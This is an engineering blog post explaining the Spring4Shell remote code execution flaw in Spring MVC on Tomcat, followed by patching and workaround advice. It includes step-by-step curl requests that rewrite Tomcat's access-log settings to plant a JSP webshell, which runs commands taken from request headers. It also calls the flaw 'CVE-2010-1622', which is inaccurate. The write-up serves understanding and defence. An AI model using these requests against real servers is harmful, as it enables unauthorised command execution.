Table of Contents

Understanding Spring4Shell RCE from an engineer’s perspective

6 minutes read
Software developer holds the pen pointing to the computer screen and is analyzing the code.
Table of Contents

What happened?

On March 29, 2022, A very old RCE (remote code execution) loophole tracked as CVE-2010-1622 was exposed in a series of Tweets. It affects most java projects using JDK 9+. This loophole enables attackers to exploit the server by executing a command on a server carried in a HTTP request.

Who should worry about this vulnerability?

If your project meets all conditions below, then you should take a serious look into this:

  1. JDK 9+
  2. Imported spring-webmvc dependency
  3. Deployed as WAR but not JAR
  4. Apache Tomcat as the Servlet container (the only container confirmed exploit currently)

How did this happen?

Before explaining more details, let’s first start with a simple API defined in SpringMVC controller.

				
					@Controllerpublic class DemoController {

    @PostMapping("/animals")
    @ResponseBody
    public Map<String, Object> importAnimalIntoZoo(Animal animal) {
        HashMap<String, Object> response = new HashMap<>();
        response.put("data", animal);
        return response;
    }
}

				
			

Then send a POST request like this:

Image of an example POST request

Then the text value of the parameter will be binded to a JavaBean:

and the Animal class contains a customized type member field: Species

If you go back to the request and check the parameter species.name=Dolphins you will see the value is mapped to the name field of the species object. The dot between species and name helps pass values into complex member variables.

For now, there is no obvious risk in this API call.

However, if we take a closer look at the source code and examine how the data binding process in SpringMVC class BeanWrapperImpl is implemented, you will see:

SpringMVC class BeanWrapperImpl is implemented,

This is where the “magic” happens with some imagination.

The screenshot above indicates that we can bind not only data to the View object itself (animal here for example), but also data to its class.

Let’s check what is in the class. By searching through the path of

				
					class.module.classLoader.resources.context.parent.pipeline.first
				
			

We find a member variable of type AccessLogValue

Image of code fragment

That means we can update all fields in AccessLogValue type field first just like we update species.name.

So what is AccessLogValue?

It’s the class just mapped to this snippet config in Tomcat configuration file server.xml.

				
					<Valve className="org.apache.catalina.valves.AccessLogValve" 
    directory="logs"
    prefix="localhost_access_log" 
    suffix=".txt"
    pattern="%h %l %u %t &quot;%r&quot; %s %b" 
 />

				
			

Easy to see that it is the configuration of tomcat access log in the folder logs.

image of logs

It will record all HTTP requests in it.

An image of record all HTTP requests in it.

But does a log configuration matter?

The answer is yes.

After checking the field in class AccessLogValue, we can update the log file type to .jsp. Then we can try to inject one evil Java snippet into the jsp file:

				
					<% 
String cmd = "open /System/Applications/Calculator.app"; 
Process exec = Runtime.getRuntime().exec(cmd); 
%> 

				
			

As a result, a Calculator app can be launched on the server side.

Similarly, we can also inject some other commands like whoami, ifconfig or other query commands.

Test the Exploit yourself

  1. Download the demo code from github to local
     github: https://github.com/datawiza-inc/spring-rec-demo
  2. Deploy it to TOMCAT (apache-tomcat-8.5.76)
    Note: apache-tomcat-8.5.78 has fixed this vulnerability.
  3. Issue a request like below to set Tomcat log configuration
Image of Tomcat log configuration

curl command:

				
					curl --location -g --request POST 'localhost:8080/spring_rec_demo_war/animals?name=orca&alias=Killer Whale&latinName=Orcinus orca&distributions=Fiji&species.name=Dolphins&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BleftBracket%7Di%20String%20cmd%20%3D%20%22%25%7Bcmd%7Di%22%3B%20Process%20exec%20%3D%20%25%7Bruntime%7Di.getRuntime().exec(cmd)%3B%20%25%7BrightBracket%7Di%20%3Ch1%3ERun%20%22%25%7BleftBracket%7Di%3Dcmd%20%25%7BrightBracket%7Di%20%22%3C%2Fh1%3E%20%20&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=/{ABSOLUTE_PATH}/apache-tomcat-8.5.76/webapps/spring_rec_demo_war/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=trick&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat='
				
			

Now let’s check the parameters in this request:

				
					class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BleftBracket%7Di%20String%20cmd%20%3D%20%22%25%7Bcmd%7Di%22%3B%20Process%20exec%20%3D%20%25%7Bruntime%7Di.getRuntime().exec(cmd)%3B%20%25%7BrightBracket%7Di%20%3Ch1%3ERun%20%22%25%7BleftBracket%7Di%3Dcmd%20%25%7BrightBracket%7Di%20%22%3C%2Fh1%3E%20%20
				
			

Do a URL decode, you will notice that this pattern contains jsp content:

				
					%{leftBracket}i 
String cmd = "%{cmd}i"; 
Process exec = %{runtime}i.getRuntime().exec(cmd); 
%{rightBracket}i 
<h1>Run "%{leftBracket}i=cmd %{rightBracket}i "</h1>  

				
			

The placeholder %{leftBracket}i will accept text value <% from request header with name leftBracket because symbol <% and %> can’t be set into Tomcat config by request directly. Also, Runtime class name is prevented to show in the pattern config so we also use %{runtime}i to make another request to populate it.

				
					class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
				
			

set log file extension to jsp

				
					class.module.classLoader.resources.context.parent.pipeline.first.directory=/Users/haoxintai/Tools/apache-tomcat-8.5.76/webapps/spring_rec_demo_war/
				
			

print logs to file with specified path

				
					class.module.classLoader.resources.context.parent.pipeline.first.prefix=trick
				
			

set log file name

				
					class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
				
			

remove log prefix like 04-Apr-2022 17:33:09.628

4. Once the configuration is done, we can issue another request to trigger log print with leftBracket/rightBracket/runtime/cmd in header

issue another request to trigger log print with leftBracket/rightBracket/runtime/cmd in header

curl command:

				
					curl --location --request POST 'localhost:8080/' \
--header 'leftBracket: <%' \
--header 'rightBracket: %>' \
--header 'runtime: Runtime' \
--header 'cmd: open /System/Applications/Calculator.app'

				
			

5. Check the created jsp format log in specified path

jsp format log in specified path
Image of spring rec demo war

6. Everything is ready now. We can visit the jsp file to do the trick.

Image of jsp file

Amazing! The Calculator app is launched!

How to mitigate this?

Best options:

  1. upgrade Spring Framework to 5.3.18+/5.2.20+ with patch
  2. upgrade Tomcat to the latest one with patch

If for some reason, you can’t take those options at the moment, below are some workarounds for you.

  1. Set a blacklist to prevent the config update:
				
					@ControllerAdvicepublic class BinderControllerAdvice {
 @InitBinder
 public void setAllowedFields(WebDataBinder dataBinder) {
  String[] blacklist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
  dataBinder.setDisallowedFields(blacklist);
  }
}

				
			

2. Downgrade JDK version to 8.

We recommend that all users apply mitigations or updates if they are using Spring Core.

Last question, why doesn't JDK 8 have the vulnerability?

The answer is hidden in the path:

				
					class.module.classLoader.resources.context.parent.pipeline.first.pattern
				
			

In JDK 8, there is no module language feature at all, so no loophole for us to take advantage of. That’s a new feature since JDK 9.

The class.classLoader has already been blocked in JDK 8 so it is safe.

Written by the Datawiza team — hope you enjoyed! Join us if you have any questions or need any help on our Discord server. 

Join our Discord server today! 👋Join
+